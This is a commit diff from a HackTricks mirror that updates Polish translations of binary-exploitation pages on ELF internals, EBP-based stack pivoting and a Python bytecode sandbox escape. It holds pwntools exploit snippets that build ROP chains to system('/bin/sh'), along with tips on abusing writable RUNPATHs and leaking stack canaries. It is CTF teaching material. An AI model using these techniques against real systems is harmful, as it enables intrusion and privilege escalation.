mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/binary-exploitation/basic-stack-binary-exploitation-met
This commit is contained in:
parent
9724563584
commit
58cc8ac17d
@ -881,7 +881,6 @@
|
||||
- [Interesting Http](todo/interesting-http.md)
|
||||
- [Rust Basics](todo/rust-basics.md)
|
||||
- [More Tools](todo/more-tools.md)
|
||||
- [MISC](todo/misc.md)
|
||||
- [Hardware Hacking](todo/hardware-hacking/README.md)
|
||||
- [Fault Injection Attacks](todo/hardware-hacking/fault_injection_attacks.md)
|
||||
- [I2C](todo/hardware-hacking/i2c.md)
|
||||
|
@ -64,7 +64,7 @@ Ten nagłówek pomaga łączyć programy z ich zależnościami bibliotecznymi i
|
||||
|
||||
Przechowuje informacje metadane dostawcy o binarnym.
|
||||
|
||||
- Na x86-64, `readelf -n` pokaże flagi `GNU_PROPERTY_X86_FEATURE_1_*` wewnątrz `.note.gnu.property`. Jeśli zobaczysz `IBT` i/lub `SHSTK`, binarny został zbudowany z CET (Śledzenie Pośrednich Skoków i/lub Stos Cieni). Ma to wpływ na ROP/JOP, ponieważ cele pośrednich skoków muszą zaczynać się od instrukcji `ENDBR64`, a powroty są sprawdzane w stosie cieni. Zobacz stronę CET, aby uzyskać szczegóły i notatki o obejściach.
|
||||
- Na x86-64, `readelf -n` pokaże flagi `GNU_PROPERTY_X86_FEATURE_1_*` wewnątrz `.note.gnu.property`. Jeśli zobaczysz `IBT` i/lub `SHSTK`, binarny został zbudowany z CET (Śledzenie Pośrednich Przejść i/lub Stos Cieni). Ma to wpływ na ROP/JOP, ponieważ cele pośrednich przejść muszą zaczynać się od instrukcji `ENDBR64`, a powroty są sprawdzane w stosie cieni. Zobacz stronę CET dla szczegółów i notatek o obejściach.
|
||||
|
||||
{{#ref}}
|
||||
../common-binary-protections-and-bypasses/cet-and-shadow-stack.md
|
||||
@ -86,7 +86,7 @@ Wskazuje konfigurację RELRO (Relocation Read-Only) binarnego. Ta ochrona oznacz
|
||||
|
||||
W poprzednim przykładzie kopiuje 0x3b8 bajtów do 0x1fc48 jako tylko do odczytu, wpływając na sekcje `.init_array .fini_array .dynamic .got .data .bss`.
|
||||
|
||||
Zauważ, że RELRO może być częściowy lub pełny, wersja częściowa nie chroni sekcji **`.plt.got`**, która jest używana do **leniwego wiązania** i potrzebuje tej przestrzeni pamięci, aby mieć **uprawnienia do zapisu**, aby zapisać adres bibliotek za pierwszym razem, gdy ich lokalizacja jest wyszukiwana.
|
||||
Zauważ, że RELRO może być częściowy lub pełny, wersja częściowa nie chroni sekcji **`.plt.got`**, która jest używana do **leniwego wiązania** i potrzebuje tej przestrzeni pamięci, aby mieć **uprawnienia do zapisu**, aby zapisać adres bibliotek przy pierwszym wyszukiwaniu ich lokalizacji.
|
||||
|
||||
> Aby uzyskać techniki eksploatacji i aktualne notatki o obejściach, sprawdź dedykowaną stronę:
|
||||
|
||||
@ -96,7 +96,7 @@ Zauważ, że RELRO może być częściowy lub pełny, wersja częściowa nie chr
|
||||
|
||||
### TLS
|
||||
|
||||
Definiuje tabelę wpisów TLS, która przechowuje informacje o zmiennych lokalnych wątków.
|
||||
Definiuje tabelę wpisów TLS, która przechowuje informacje o zmiennych lokalnych dla wątków.
|
||||
|
||||
## Nagłówki Sekcji
|
||||
|
||||
@ -161,7 +161,7 @@ CONTENTS, READONLY
|
||||
25 .gnu_debuglink 00000034 0000000000000000 0000000000000000 000101bc 2**2
|
||||
CONTENTS, READONLY
|
||||
```
|
||||
To również wskazuje lokalizację, przesunięcie, uprawnienia, ale także **typ danych**, który ma sekcja.
|
||||
To wskazuje również lokalizację, przesunięcie, uprawnienia, ale także **typ danych**, który ma sekcja.
|
||||
|
||||
### Sekcje Meta
|
||||
|
||||
@ -204,7 +204,7 @@ Num: Value Size Type Bind Vis Ndx Name
|
||||
Każdy wpis symbolu zawiera:
|
||||
|
||||
- **Nazwa**
|
||||
- **Atrybuty powiązania** (słaby, lokalny lub globalny): Lokalny symbol może być dostępny tylko przez sam program, podczas gdy symbole globalne są udostępniane poza programem. Słaby obiekt to na przykład funkcja, która może być nadpisana przez inną.
|
||||
- **Atrybuty powiązania** (słaby, lokalny lub globalny): Lokalny symbol może być dostępny tylko przez sam program, podczas gdy symbole globalne są udostępniane na zewnątrz programu. Słaby obiekt to na przykład funkcja, która może być nadpisana przez inną.
|
||||
- **Typ**: NOTYPE (typ nieokreślony), OBJECT (globalna zmienna danych), FUNC (funkcja), SECTION (sekcja), FILE (plik źródłowy dla debuggerów), TLS (zmienna lokalna dla wątku), GNU_IFUNC (funkcja pośrednia do relokacji)
|
||||
- **Indeks sekcji**, w której się znajduje
|
||||
- **Wartość** (adres w pamięci)
|
||||
@ -249,14 +249,14 @@ Tag Type Name/Value
|
||||
0x000000006ffffff9 (RELACOUNT) 15
|
||||
0x0000000000000000 (NULL) 0x0
|
||||
```
|
||||
Katalog NEEDED wskazuje, że program **musi załadować wspomnianą bibliotekę**, aby kontynuować. Katalog NEEDED kończy się, gdy wspólna **biblioteka jest w pełni operacyjna i gotowa** do użycia.
|
||||
Katalog NEEDED wskazuje, że program **musi załadować wspomnianą bibliotekę**, aby kontynuować. Katalog NEEDED jest uzupełniany, gdy wspólna **biblioteka jest w pełni operacyjna i gotowa** do użycia.
|
||||
|
||||
### Kolejność wyszukiwania dynamicznego loadera (RPATH/RUNPATH, $ORIGIN)
|
||||
|
||||
Wpisy `DT_RPATH` (przestarzałe) i/lub `DT_RUNPATH` wpływają na to, gdzie dynamiczny loader szuka zależności. Przybliżona kolejność:
|
||||
|
||||
- `LD_LIBRARY_PATH` (ignorowane dla programów setuid/sgid lub innych "bezpiecznych" programów)
|
||||
- `DT_RPATH` (tylko jeśli `DT_RUNPATH` nieobecny)
|
||||
- `DT_RPATH` (tylko jeśli `DT_RUNPATH` jest nieobecny)
|
||||
- `DT_RUNPATH`
|
||||
- `ld.so.cache`
|
||||
- domyślne katalogi, takie jak `/lib64`, `/usr/lib64` itp.
|
||||
@ -266,11 +266,11 @@ Wpisy `DT_RPATH` (przestarzałe) i/lub `DT_RUNPATH` wpływają na to, gdzie dyna
|
||||
- Sprawdź za pomocą: `readelf -d ./bin | egrep -i 'r(path|unpath)'`
|
||||
- Szybki test: `LD_DEBUG=libs ./bin 2>&1 | grep -i find` (pokazuje decyzje dotyczące ścieżki wyszukiwania)
|
||||
|
||||
> Wskazówka dotycząca eskalacji uprawnień: Preferuj nadużywanie zapisywalnych RUNPATHów lub źle skonfigurowanych ścieżek względnych do `$ORIGIN`, które są w twoim posiadaniu. LD_PRELOAD/LD_AUDIT są ignorowane w kontekstach bezpiecznego wykonania (setuid).
|
||||
> Wskazówka dotycząca eskalacji uprawnień: Preferuj nadużywanie zapisywalnych RUNPATHów lub źle skonfigurowanych ścieżek względnych do `$ORIGIN`, które są w twojej własności. LD_PRELOAD/LD_AUDIT są ignorowane w kontekstach bezpiecznego wykonania (setuid).
|
||||
|
||||
## Relokacje
|
||||
|
||||
Loader musi również relokować zależności po ich załadowaniu. Te relokacje są wskazane w tabeli relokacji w formatach REL lub RELA, a liczba relokacji jest podana w sekcjach dynamicznych RELSZ lub RELASZ.
|
||||
Loader musi również relokować zależności po ich załadowaniu. Te relokacje są wskazywane w tabeli relokacji w formatach REL lub RELA, a liczba relokacji jest podana w sekcjach dynamicznych RELSZ lub RELASZ.
|
||||
```
|
||||
readelf -r lnstat
|
||||
|
||||
@ -344,31 +344,31 @@ Offset Info Type Sym. Value Sym. Name + Addend
|
||||
```
|
||||
### Statyczne Relokacje
|
||||
|
||||
Jeśli **program jest ładowany w innym miejscu** niż preferowany adres (zwykle 0x400000) z powodu już używanego adresu lub z powodu **ASLR** lub innego powodu, statyczna relokacja **poprawia wskaźniki**, które miały wartości oczekujące, że binarny plik zostanie załadowany w preferowanym adresie.
|
||||
Jeśli **program jest ładowany w innym miejscu** niż preferowany adres (zwykle 0x400000) z powodu tego, że adres jest już używany lub z powodu **ASLR** lub innego powodu, statyczna relokacja **poprawia wskaźniki**, które miały wartości oczekujące, że binarka zostanie załadowana w preferowanym adresie.
|
||||
|
||||
Na przykład każda sekcja typu `R_AARCH64_RELATIV` powinna mieć zmodyfikowany adres na podstawie przesunięcia relokacji plus wartość addenda.
|
||||
|
||||
### Dynamiczne Relokacje i GOT
|
||||
|
||||
Relokacja może również odnosić się do zewnętrznego symbolu (jak funkcja z zależności). Na przykład funkcja malloc z libC. Wtedy, loader, ładowując libC w adresie, sprawdza, gdzie funkcja malloc jest załadowana, i zapisuje ten adres w tabeli GOT (Global Offset Table) (wskazanej w tabeli relokacji), gdzie powinien być określony adres malloc.
|
||||
Relokacja może również odnosić się do symbolu zewnętrznego (jak funkcja z zależności). Na przykład funkcja malloc z libC. Wtedy, loader, ładowując libC w adresie, sprawdzając, gdzie funkcja malloc jest załadowana, zapisze ten adres w tabeli GOT (Global Offset Table) (wskazanej w tabeli relokacji), gdzie powinien być określony adres malloc.
|
||||
|
||||
### Tabela Łączenia Procedur
|
||||
|
||||
Sekcja PLT pozwala na leniwe wiązanie, co oznacza, że rozwiązywanie lokalizacji funkcji będzie wykonywane za pierwszym razem, gdy zostanie ona wywołana.
|
||||
|
||||
Więc gdy program wywołuje malloc, tak naprawdę wywołuje odpowiednią lokalizację `malloc` w PLT (`malloc@plt`). Przy pierwszym wywołaniu rozwiązuje adres `malloc` i przechowuje go, więc następnym razem, gdy wywołana zostanie `malloc`, ten adres jest używany zamiast kodu PLT.
|
||||
Więc gdy program wywołuje malloc, tak naprawdę wywołuje odpowiednią lokalizację `malloc` w PLT (`malloc@plt`). Przy pierwszym wywołaniu rozwiązuje adres `malloc` i przechowuje go, więc przy następnym wywołaniu `malloc` ten adres jest używany zamiast kodu PLT.
|
||||
|
||||
#### Nowoczesne zachowania łączenia, które wpływają na eksploatację
|
||||
|
||||
- `-z now` (Pełne RELRO) wyłącza leniwe wiązanie; wpisy PLT nadal istnieją, ale GOT/PLT jest mapowane jako tylko do odczytu, więc techniki takie jak **GOT overwrite** i **ret2dlresolve** nie będą działać przeciwko głównemu binarnemu plikowi (biblioteki mogą nadal być częściowo RELRO). Zobacz:
|
||||
- `-z now` (Pełne RELRO) wyłącza leniwe wiązanie; wpisy PLT nadal istnieją, ale GOT/PLT jest mapowane jako tylko do odczytu, więc techniki takie jak **GOT overwrite** i **ret2dlresolve** nie będą działać przeciwko głównemu binarnemu (biblioteki mogą nadal być częściowo RELRO). Zobacz:
|
||||
|
||||
{{#ref}}
|
||||
../common-binary-protections-and-bypasses/relro.md
|
||||
{{#endref}}
|
||||
|
||||
- `-fno-plt` sprawia, że kompilator wywołuje zewnętrzne funkcje przez **wejście GOT bezpośrednio** zamiast przechodzić przez stub PLT. Zobaczysz sekwencje wywołań takie jak `mov reg, [got]; call reg` zamiast `call func@plt`. To zmniejsza nadużycia związane z wykonaniem spekulacyjnym i nieco zmienia polowanie na gadżety ROP wokół stubów PLT.
|
||||
- `-fno-plt` sprawia, że kompilator wywołuje funkcje zewnętrzne przez **wejście GOT bezpośrednio** zamiast przechodzić przez stub PLT. Zobaczysz sekwencje wywołań takie jak `mov reg, [got]; call reg` zamiast `call func@plt`. To zmniejsza nadużycia związane z wykonaniem spekulacyjnym i nieco zmienia polowanie na gadżety ROP wokół stubów PLT.
|
||||
|
||||
- PIE vs static-PIE: PIE (ET_DYN z `INTERP`) potrzebuje dynamicznego loadera i wspiera zwykłą maszynerię PLT/GOT. Static-PIE (ET_DYN bez `INTERP`) ma relokacje stosowane przez loader jądra i brak `ld.so`; oczekuj braku rozwiązywania PLT w czasie wykonywania.
|
||||
- PIE vs static-PIE: PIE (ET_DYN z `INTERP`) potrzebuje dynamicznego loadera i wspiera zwykłą maszynerię PLT/GOT. Static-PIE (ET_DYN bez `INTERP`) ma relokacje stosowane przez loader jądra i nie ma `ld.so`; oczekuj braku rozwiązywania PLT w czasie wykonywania.
|
||||
|
||||
> Jeśli GOT/PLT nie jest opcją, przejdź do innych zapisywalnych wskaźników kodu lub użyj klasycznego ROP/SROP w libc.
|
||||
|
||||
@ -416,7 +416,7 @@ Co więcej, możliwe jest również posiadanie **`PREINIT_ARRAY`** z **wskaźnik
|
||||
|
||||
- W przypadku Partial RELRO te tablice znajdują się w stronach, które są nadal zapisywalne, zanim `ld.so` zmieni `PT_GNU_RELRO` na tylko do odczytu. Jeśli uzyskasz dowolny zapis wystarczająco wcześnie lub możesz celować w zapisywalne tablice biblioteki, możesz przejąć kontrolę nad przepływem, nadpisując wpis funkcją według własnego wyboru. W przypadku Full RELRO są one tylko do odczytu w czasie wykonywania.
|
||||
|
||||
- Aby wykorzystać leniwe wiązanie dynamicznego linkera do rozwiązywania dowolnych symboli w czasie wykonywania, zobacz dedykowaną stronę:
|
||||
- W przypadku nadużycia leniwego wiązania dynamicznego linkera do rozwiązywania dowolnych symboli w czasie wykonywania, zobacz dedykowaną stronę:
|
||||
|
||||
{{#ref}}
|
||||
../rop-return-oriented-programing/ret2dlresolve.md
|
||||
@ -439,7 +439,7 @@ Każdy wątek będzie utrzymywał unikalną lokalizację dla tej zmiennej, więc
|
||||
|
||||
Gdy to jest używane, sekcje **`.tdata`** i **`.tbss`** są używane w ELF. Są one podobne do `.data` (zainicjowane) i `.bss` (niezainicjowane), ale dla TLS.
|
||||
|
||||
Każda zmienna będzie miała wpis w nagłówku TLS określający rozmiar i offset TLS, który jest offsetem, którego użyje w lokalnym obszarze danych wątku.
|
||||
Każda zmienna będzie miała wpis w nagłówku TLS określający rozmiar i offset TLS, który jest offsetem, który będzie używany w lokalnym obszarze danych wątku.
|
||||
|
||||
`__TLS_MODULE_BASE` to symbol używany do odniesienia się do adresu bazowego pamięci lokalnej wątku i wskazuje na obszar w pamięci, który zawiera wszystkie dane lokalne wątku modułu.
|
||||
|
||||
@ -448,7 +448,7 @@ Każda zmienna będzie miała wpis w nagłówku TLS określający rozmiar i offs
|
||||
Jądro Linuxa przekazuje wektor pomocniczy do procesów zawierający użyteczne adresy i flagi dla czasu wykonywania:
|
||||
|
||||
- `AT_RANDOM`: wskazuje na 16 losowych bajtów używanych przez glibc do canary stosu i innych nasion PRNG.
|
||||
- `AT_SYSINFO_EHDR`: adres bazowy mapowania vDSO (przydatne do znajdowania wywołań syscalls `__kernel_*` i gadżetów).
|
||||
- `AT_SYSINFO_EHDR`: adres bazowy mapowania vDSO (przydatne do znajdowania wywołań systemowych `__kernel_*` i gadżetów).
|
||||
- `AT_EXECFN`, `AT_BASE`, `AT_PAGESZ` itd.
|
||||
|
||||
Jako atakujący, jeśli możesz czytać pamięć lub pliki w `/proc`, często możesz wyciekować te informacje bez infoleaku w docelowym procesie:
|
||||
@ -468,6 +468,6 @@ Wyciekanie `AT_RANDOM` daje ci wartość canary, jeśli możesz zdereferencjonow
|
||||
|
||||
## References
|
||||
|
||||
- ld.so(8) – Dynamic Loader search order, RPATH/RUNPATH, secure-execution rules (AT_SECURE): https://man7.org/linux/man-pages/man8/ld.so.8.html
|
||||
- getauxval(3) – Auxiliary vector and AT_* constants: https://man7.org/linux/man-pages/man3/getauxval.3.html
|
||||
- ld.so(8) – Kolejność wyszukiwania dynamicznego loadera, RPATH/RUNPATH, zasady bezpiecznego wykonywania (AT_SECURE): https://man7.org/linux/man-pages/man8/ld.so.8.html
|
||||
- getauxval(3) – Wektor pomocniczy i stałe AT_*: https://man7.org/linux/man-pages/man3/getauxval.3.html
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -4,7 +4,7 @@
|
||||
|
||||
## Podstawowe informacje
|
||||
|
||||
Technika ta wykorzystuje zdolność do manipulacji **Wskaźnikiem Bazowym (EBP/RBP)** w celu łączenia wykonania wielu funkcji poprzez staranne użycie wskaźnika ramki oraz sekwencji instrukcji **`leave; ret`**.
|
||||
Ta technika wykorzystuje możliwość manipulacji **Wskaźnikiem Bazowym (EBP/RBP)** do łączenia wykonania wielu funkcji poprzez staranne użycie wskaźnika ramki oraz sekwencji instrukcji **`leave; ret`**.
|
||||
|
||||
Przypominając, na x86/x86-64 **`leave`** jest równoważne z:
|
||||
```
|
||||
@ -16,7 +16,7 @@ I jako że zapisany **EBP/RBP znajduje się na stosie** przed zapisanym EIP/RIP,
|
||||
|
||||
> Uwagi
|
||||
> - W 64-bit, zamień EBP→RBP i ESP→RSP. Semantyka jest taka sama.
|
||||
> - Niektóre kompilatory pomijają wskaźnik ramki (zobacz „EBP może nie być używane”). W takim przypadku `leave` może nie wystąpić i ta technika nie zadziała.
|
||||
> - Niektórzy kompilatory pomijają wskaźnik ramki (zobacz „EBP może nie być używane”). W takim przypadku `leave` może nie wystąpić i ta technika nie zadziała.
|
||||
|
||||
### EBP2Ret
|
||||
|
||||
@ -24,17 +24,17 @@ Ta technika jest szczególnie przydatna, gdy możesz **zmienić zapisany EBP/RBP
|
||||
|
||||
Jeśli podczas wykonywania `fvuln` uda ci się wstrzyknąć **fałszywy EBP** na stosie, który wskazuje na obszar w pamięci, gdzie znajduje się adres twojego shellcode/łańcucha ROP (plus 8 bajtów na amd64 / 4 bajty na x86, aby uwzględnić `pop`), możesz pośrednio kontrolować RIP. Gdy funkcja zwraca, `leave` ustawia RSP na skonstruowaną lokalizację, a następny `pop rbp` zmniejsza RSP, **skutecznie wskazując na adres przechowywany przez atakującego tam**. Następnie `ret` użyje tego adresu.
|
||||
|
||||
Zauważ, że **musisz znać 2 adresy**: adres, na który ma wskazywać ESP/RSP, oraz wartość przechowywaną pod tym adresem, którą `ret` będzie konsumować.
|
||||
Zauważ, że **musisz znać 2 adresy**: adres, na który ma iść ESP/RSP, oraz wartość przechowywaną pod tym adresem, którą `ret` będzie konsumować.
|
||||
|
||||
#### Budowa Exploita
|
||||
|
||||
Najpierw musisz znać **adres, w którym możesz zapisać dowolne dane/adresy**. RSP będzie wskazywał tutaj i **skonsumuje pierwszy `ret`**.
|
||||
|
||||
Następnie musisz wybrać adres używany przez `ret`, który **przekroczy wykonanie**. Możesz użyć:
|
||||
Następnie musisz wybrać adres używany przez `ret`, który **przeniesie wykonanie**. Możesz użyć:
|
||||
|
||||
- Ważnego [**ONE_GADGET**](https://github.com/david942j/one_gadget) adresu.
|
||||
- Adresu **`system()`**, po którym następuje odpowiedni powrót i argumenty (na x86: cel `ret` = `&system`, następnie 4 bajty śmieci, potem `&"/bin/sh"`).
|
||||
- Adresu gadżetu **`jmp esp;`** ([**ret2esp**](../rop-return-oriented-programing/ret2esp-ret2reg.md)), po którym następuje inline shellcode.
|
||||
- Adresu gadżetu **`jmp esp;`** ([**ret2esp**](../rop-return-oriented-programing/ret2esp-ret2reg.md)) po którym następuje inline shellcode.
|
||||
- Łańcucha [**ROP**](../rop-return-oriented-programing/index.html) umieszczonego w zapisywalnej pamięci.
|
||||
|
||||
Pamiętaj, że przed którymkolwiek z tych adresów w kontrolowanym obszarze musi być **miejsce na `pop ebp/rbp`** z `leave` (8B na amd64, 4B na x86). Możesz wykorzystać te bajty, aby ustawić **drugi fałszywy EBP** i utrzymać kontrolę po zwrocie z pierwszego wywołania.
|
||||
@ -43,7 +43,7 @@ Pamiętaj, że przed którymkolwiek z tych adresów w kontrolowanym obszarze mus
|
||||
|
||||
Istnieje wariant używany, gdy możesz **zmodyfikować tylko najmniej znaczący bajt zapisanego EBP/RBP**. W takim przypadku lokalizacja pamięci przechowująca adres, do którego należy skoczyć z **`ret`**, musi dzielić pierwsze trzy/pięć bajtów z oryginalnym EBP/RBP, aby 1-bajtowe nadpisanie mogło go przekierować. Zwykle niski bajt (offset 0x00) jest zwiększany, aby skoczyć jak najdalej w obrębie pobliskiej strony/wyjustowanego obszaru.
|
||||
|
||||
Często stosuje się również RET sled na stosie i umieszcza prawdziwy łańcuch ROP na końcu, aby zwiększyć prawdopodobieństwo, że nowy RSP wskazuje wewnątrz sled i końcowy łańcuch ROP jest wykonywany.
|
||||
Często używa się również RET sled na stosie i umieszcza prawdziwy łańcuch ROP na końcu, aby zwiększyć prawdopodobieństwo, że nowy RSP wskazuje wewnątrz sled i końcowy łańcuch ROP jest wykonywany.
|
||||
|
||||
### Łańcuchowanie EBP
|
||||
|
||||
@ -96,7 +96,7 @@ pause()
|
||||
p.sendline(payload)
|
||||
print(p.recvline())
|
||||
```
|
||||
> wskazówka dotycząca wyrównania amd64: System V ABI wymaga 16-bajtowego wyrównania stosu w miejscach wywołań. Jeśli twoja łańcuch wywołuje funkcje takie jak `system`, dodaj gadżet wyrównujący (np. `ret`, lub `sub rsp, 8 ; ret`) przed wywołaniem, aby utrzymać wyrównanie i uniknąć awarii `movaps`.
|
||||
> wskazówka dotycząca wyrównania amd64: System V ABI wymaga 16-bajtowego wyrównania stosu w miejscach wywołań. Jeśli twoja łańcuch wywołuje funkcje takie jak `system`, dodaj gadżet wyrównania (np. `ret`, lub `sub rsp, 8 ; ret`) przed wywołaniem, aby utrzymać wyrównanie i uniknąć awarii `movaps`.
|
||||
|
||||
## EBP może nie być używane
|
||||
|
||||
@ -130,7 +130,7 @@ Na amd64 często zobaczysz `pop rbp ; ret` zamiast `leave ; ret`, ale jeśli wsk
|
||||
|
||||
### gadżet `pop rsp`
|
||||
|
||||
[**Na tej stronie**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp) znajdziesz przykład użycia tej techniki. W tym wyzwaniu konieczne było wywołanie funkcji z 2 konkretnymi argumentami, a tam był **gadżet `pop rsp`** i był **leak ze stosu**:
|
||||
[**Na tej stronie**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp) znajdziesz przykład użycia tej techniki. W tym wyzwaniu konieczne było wywołanie funkcji z 2 konkretnymi argumentami, a tam był **gadżet `pop rsp`** i występował **leak ze stosu**:
|
||||
```python
|
||||
# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
|
||||
# This version has added comments
|
||||
@ -208,9 +208,9 @@ ROPgadget --binary ./vuln --only "leave|xchg|pop rsp|add rsp"
|
||||
```
|
||||
### Klasyczny wzór stagingu pivotu
|
||||
|
||||
Robustna strategia pivotu używana w wielu CTF/eksploity:
|
||||
Robustna strategia pivotu używana w wielu CTF/eksploatach:
|
||||
|
||||
1) Użyj małego początkowego przepełnienia, aby wywołać `read`/`recv` do dużego zapisywalnego obszaru (np. `.bss`, sterta lub mapowana pamięć RW) i umieść tam pełny łańcuch ROP.
|
||||
1) Użyj małego początkowego przepełnienia, aby wywołać `read`/`recv` do dużego zapisywalnego obszaru (np. `.bss`, heap lub mapowane pamięci RW) i umieść tam pełny łańcuch ROP.
|
||||
2) Wróć do gadżetu pivotu (`leave ; ret`, `pop rsp`, `xchg rax, rsp ; ret`), aby przenieść RSP do tego obszaru.
|
||||
3) Kontynuuj z zaplanowanym łańcuchem (np. wyciek libc, wywołanie `mprotect`, następnie `read` shellcode, a potem skok do niego).
|
||||
|
||||
@ -224,7 +224,7 @@ Nowoczesne procesory x86 i systemy operacyjne coraz częściej wdrażają **CET
|
||||
../common-binary-protections-and-bypasses/cet-and-shadow-stack.md
|
||||
{{#endref}}
|
||||
|
||||
- Szybkie kontrole na Linuxie:
|
||||
- Szybkie kontrole na Linux:
|
||||
```bash
|
||||
# 1) Is the binary/toolchain CET-marked?
|
||||
readelf -n ./binary | grep -E 'x86.*(SHSTK|IBT)'
|
||||
@ -239,10 +239,10 @@ grep -E 'x86_Thread_features' /proc/$$/status # expect: shstk (and possibly wr
|
||||
(gdb) checksec
|
||||
```
|
||||
- Notatki do laboratoriów/CTF:
|
||||
- Niektóre nowoczesne dystrybucje włączają SHSTK dla binarnych plików z włączonym CET, gdy dostępne jest wsparcie sprzętowe i glibc. W przypadku kontrolowanego testowania w VM, SHSTK można wyłączyć systemowo za pomocą parametru uruchamiania jądra `nousershstk`, lub selektywnie włączyć za pomocą tuningu glibc podczas uruchamiania (zobacz odniesienia). Nie wyłączaj zabezpieczeń na celach produkcyjnych.
|
||||
- Niektóre nowoczesne dystrybucje włączają SHSTK dla binariów z włączonym CET, gdy dostępne jest wsparcie sprzętowe i glibc. W przypadku kontrolowanego testowania w VM, SHSTK można wyłączyć systemowo za pomocą parametru uruchamiania jądra `nousershstk`, lub selektywnie włączyć za pomocą tuningu glibc podczas uruchamiania (zobacz odniesienia). Nie wyłączaj zabezpieczeń na celach produkcyjnych.
|
||||
- Techniki oparte na JOP/COOP lub SROP mogą nadal być wykonalne na niektórych celach, ale SHSTK szczególnie łamie `ret`-based pivots.
|
||||
|
||||
- Uwaga dotycząca Windows: Windows 10+ udostępnia tryb użytkownika, a Windows 11 dodaje tryb jądra „Ochrona stosu wymuszona sprzętowo” opartą na stosach cieniowych. Procesy zgodne z CET zapobiegają pivotowaniu stosu/ROP przy `ret`; deweloperzy muszą się zgodzić za pomocą CETCOMPAT i powiązanych polityk (zobacz odniesienie).
|
||||
- Uwaga dotycząca Windows: Windows 10+ udostępnia tryb użytkownika, a Windows 11 dodaje tryb jądra „Hardware-enforced Stack Protection” oparty na shadow stacks. Procesy zgodne z CET zapobiegają pivotowaniu stosu/ROP przy `ret`; deweloperzy muszą się zgodzić za pomocą CETCOMPAT i powiązanych polityk (zobacz odniesienie).
|
||||
|
||||
## ARM64
|
||||
|
||||
@ -280,10 +280,10 @@ Również na następnej stronie możesz zobaczyć odpowiednik **Ret2esp w ARM64*
|
||||
- [https://bananamafia.dev/post/binary-rop-stackpivot/](https://bananamafia.dev/post/binary-rop-stackpivot/)
|
||||
- [https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting)
|
||||
- [https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html](https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html)
|
||||
- 64 bity, exploatacja off by one z łańcuchem rop zaczynającym się od ret sled
|
||||
- 64 bity, exploity off by one z łańcuchem rop zaczynającym się od ret sled
|
||||
- [https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html](https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html)
|
||||
- 64 bity, brak relro, canary, nx i pie. Program udostępnia leak dla stosu lub pie i WWW dla qword. Najpierw uzyskaj leak stosu i użyj WWW, aby wrócić i uzyskać leak pie. Następnie użyj WWW, aby stworzyć wieczną pętlę nadużywając wpisów `.fini_array` + wywołując `__libc_csu_fini` ([więcej informacji tutaj](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md)). Nadużywając tego "wiecznego" zapisu, zapisuje się łańcuch ROP w .bss i kończy wywołując go, pivotując z RBP.
|
||||
- Dokumentacja jądra Linux: Technologia egzekwowania przepływu kontrolnego (CET) Shadow Stack — szczegóły dotyczące SHSTK, flag `nousershstk`, `/proc/$PID/status` i włączania za pomocą `arch_prctl`. https://www.kernel.org/doc/html/next/x86/shstk.html
|
||||
- Microsoft Learn: Ochrona stosu wymuszona sprzętowo w trybie jądra (stosy cieniowe CET w Windows). https://learn.microsoft.com/en-us/windows-server/security/kernel-mode-hardware-stack-protection
|
||||
- Microsoft Learn: Ochrona stosu wymuszona sprzętowo w trybie jądra (shadow stacks CET w Windows). https://learn.microsoft.com/en-us/windows-server/security/kernel-mode-hardware-stack-protection
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -19,7 +19,7 @@ if len(source) > 13337: exit(print(f"{'L':O<13337}NG"))
|
||||
code = compile(source, '∅', 'eval').replace(co_consts=(), co_names=())
|
||||
print(eval(code, {'__builtins__': {}}))1234
|
||||
```
|
||||
Możesz wprowadzić dowolny kod Pythona, a zostanie on skompilowany do [obiektu kodu Pythona](https://docs.python.org/3/c-api/code.html). Jednak `co_consts` i `co_names` tego obiektu kodu zostaną zastąpione pustą krotką przed ewaluacją tego obiektu kodu.
|
||||
Możesz wprowadzić dowolny kod Python, a zostanie on skompilowany do [obiektu kodu Python](https://docs.python.org/3/c-api/code.html). Jednak `co_consts` i `co_names` tego obiektu kodu zostaną zastąpione pustą krotką przed eval tego obiektu kodu.
|
||||
|
||||
W ten sposób wszystkie wyrażenia zawierające stałe (np. liczby, ciągi itp.) lub nazwy (np. zmienne, funkcje) mogą ostatecznie spowodować błąd segmentacji.
|
||||
|
||||
@ -61,7 +61,7 @@ Załóżmy, że możemy uzyskać nazwę `__getattribute__` z przesunięcia 5 (`L
|
||||
# you can get the __getattribute__ method of list object now!
|
||||
]1234
|
||||
```
|
||||
> Zauważ, że nie jest konieczne nazywanie tego `__getattribute__`, możesz nadać mu krótszą lub bardziej dziwną nazwę.
|
||||
> Zauważ, że nie jest konieczne nazywanie tego `__getattribute__`, możesz nadać mu krótszą lub bardziej dziwną nazwę
|
||||
|
||||
Możesz zrozumieć powód, po prostu oglądając jego bajtowy kod:
|
||||
```python
|
||||
@ -80,7 +80,7 @@ Możesz zrozumieć powód, po prostu oglądając jego bajtowy kod:
|
||||
24 BUILD_LIST 1
|
||||
26 RETURN_VALUE1234567891011121314
|
||||
```
|
||||
Zauważ, że `LOAD_ATTR` również pobiera nazwę z `co_names`. Python ładuje nazwy z tej samej pozycji, jeśli nazwa jest taka sama, więc drugi `__getattribute__` jest nadal ładowany z offsetu=5. Używając tej funkcji, możemy użyć dowolnej nazwy, gdy tylko nazwa znajduje się w pamięci w pobliżu.
|
||||
Zauważ, że `LOAD_ATTR` również pobiera nazwę z `co_names`. Python ładuje nazwy z tej samej pozycji, jeśli nazwa jest taka sama, więc drugi `__getattribute__` jest nadal ładowany z offsetu=5. Używając tej funkcji, możemy używać dowolnej nazwy, gdy tylko nazwa znajduje się w pobliskiej pamięci.
|
||||
|
||||
